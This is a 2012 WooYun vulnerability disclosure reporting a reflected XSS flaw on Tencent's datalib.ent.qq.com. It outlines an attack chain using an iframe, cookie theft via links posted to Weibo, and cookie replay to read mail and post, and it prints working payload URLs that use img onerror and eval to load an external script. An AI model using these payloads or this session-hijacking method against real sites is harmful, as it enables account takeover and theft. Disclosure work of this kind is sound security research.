当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-011192

漏洞标题:跨站脚本-可以让战场离得更远(浅谈腾讯架构缺陷)

相关厂商:腾讯

漏洞作者: Jannock

提交时间:2012-08-22 22:02

修复时间:2012-10-06 22:03

公开时间:2012-10-06 22:03

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-08-22: 细节已通知厂商并且等待厂商处理中
2012-08-23: 厂商已经确认,细节仅向厂商公开
2012-09-02: 细节向核心白帽子及相关领域专家公开
2012-09-12: 细节向普通白帽子公开
2012-09-22: 细节向实习白帽子公开
2012-10-06: 细节向公众公开

简要描述:

跨站脚本-可以让战场离得更远,战争更加隐蔽。。。
反射型XSS漏洞不严重?有兴趣看完这篇,自己来评价吧。。。

详细说明:

所有事件由一个反射型XSS开始。
先说说过程:
1、找个正规的站点,加入脚本代码(当然这个站是你可以控制的了,如自己的博客,正规大站的存储型跨站什么的。这样的情况应该很多,而且别人也不会在意。


这脚本实际就是一个 iframe ,然后链接是反射型的xss,当然还带有自己的盗取cookie的脚本代码。
2、在腾讯微博发一下简单的微博,带有上述外部正规站的链接(实战中可以加些更吸引的)


3、过几分钟后,效果来了。。。看图


4、cookie欺骗



可以看出,可以发微博,看邮箱,还有很多可以做。。。大家自由发挥。。。
如获取好友列表
http://pay.qq.com/cgi-bin/personal/get_user_friends.cgi


首先,公布下存在xss的地方
http://datalib.ent.qq.com/cgi-bin/search_ent?keyvalue=\u003cimg%20src=%23%20onerror=eval%28/document.write('\u003cscript src=aaa\u003e\u003c/script\u003e')/.source%29%20/\u003e
http://datalib.ent.qq.com/cgi-bin/search?libid=1&attr=133&tname=star_second.shtml&keyvalue=\u003cimg%20src=%23\u0020onerror=eval....
存在的问题:
1、没有使用httponly
2、身份验证太单一。
这样的跨站十分隐蔽,一般极难发现。看到这个案例,你还敢乱点微博中邮箱中的链接么?

漏洞证明:

可以问问 zeracker

修复方案:

1、没有使用httponly
2、身份验证太单一。

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2012-08-23 09:16

厂商回复:

多谢反馈,正在跟进处理中

最新状态:

暂无